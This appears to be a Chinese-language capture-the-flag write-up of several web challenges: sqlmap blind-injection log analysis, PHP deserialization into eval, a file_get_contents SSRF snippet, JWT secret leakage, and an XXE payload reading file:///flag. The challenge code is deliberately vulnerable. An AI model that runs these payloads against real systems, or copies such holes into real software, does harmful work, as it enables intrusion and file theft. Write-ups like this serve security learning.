AW内部娱乐赛部分题
日志分析
首先查看.log文件,发现有一些url编码,用在线的一些解密工具解一下
将其存到2.log,查看一下
不难发现这是sqlmap盲注的流量,采用了二分法来注入
写个小代码将状态码为200的筛选出来。
二分查找的话,就是说每次发送的请求需要上一次请求返回结果判断才能继续发送,也就是说只有发送了第一次请求,且返回了结果,在进行结果判断,然后在发送第二次请求…,这种每次需要等待上一次结果返回,花费的时间较长。
所以根据ASCII码和状态码来进行分析,将符合的ASCII进行拼接转码
flag = [102,108,97,103,123,115,113,108,109,52,112,95,49,53,95,112,48,119,101,114,102,117,108,125] f = "" for s in flag: f += chr(s) print(f)
easy serialize
打开之后看源码
<!-- class test { function __destruct() { if(strpos($_GET['cmd'], 'flag') !== false) { exit('hacker!'); } eval($_GET['cmd']); } } extract($_GET); if(isset($file) && file_get_contents($file) === "AWCTF") { unserialize($s); } -->
先绕过file_get_contents()然后执行反序列就能触发destruct()
phpcms
<?php define(CHARSET, 'gbk'); function get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; } get_suggest_keyword(); highlight_file(__FILE__);
easy jwt
需要admin权限
抓包
删点token,出来密钥,https://jwt.io/
将获得的token放到bp
xxe-lab
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag" >]> <user><username>&xxe;</username><password>admin</password></user>